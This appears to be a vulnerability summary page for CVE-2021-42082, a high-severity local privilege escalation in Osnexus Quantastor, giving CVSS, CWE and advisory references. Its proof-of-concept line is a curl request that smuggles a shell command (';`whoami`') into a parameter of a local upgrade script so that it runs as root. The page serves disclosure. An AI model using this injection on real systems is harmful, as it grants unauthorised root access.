What is CVE-2021-42082?

CVE-2021-42082 is a high-severity vulnerability in Osnexus Quantastor, classified under Improper Privilege Management. CVSS score: 7.8/10. Published 2023-07-10.

How severe is CVE-2021-42082?

High severity. CVSS v3 base score is 7.8 out of 10.

Privilege escalation in Osnexus Quantastor

CVE-2021-42082

Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

Vulnerability class: Privilege Escalation

EPSS: 0.000 (12.5th percentile) — read the EPSS interpretation.

CVSS v3 metric

CVSS v3 base score 7.8 (High). Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.

Affected products

Osnexus Quantastor — versions 0

Weakness classification (CWE)

CWE-269 — Improper Privilege Management

References

www.wbsec.nl/osnexus (third-party-advisory, technical-description, exploit)
csirt.divd.nl/DIVD-2021-00020/ (third-party-advisory)
www.osnexus.com/products/software-defined-storage (product)
csirt.divd.nl/CVE-2021-42082 (third-party-advisory, technical-description, exploit)

Frequently asked questions

What is CVE-2021-42082?: CVE-2021-42082 is a high-severity vulnerability in Osnexus Quantastor, classified under Improper Privilege Management. CVSS score: 7.8/10. Published 2023-07-10.
How severe is CVE-2021-42082?: High severity. CVSS v3 base score is 7.8 out of 10.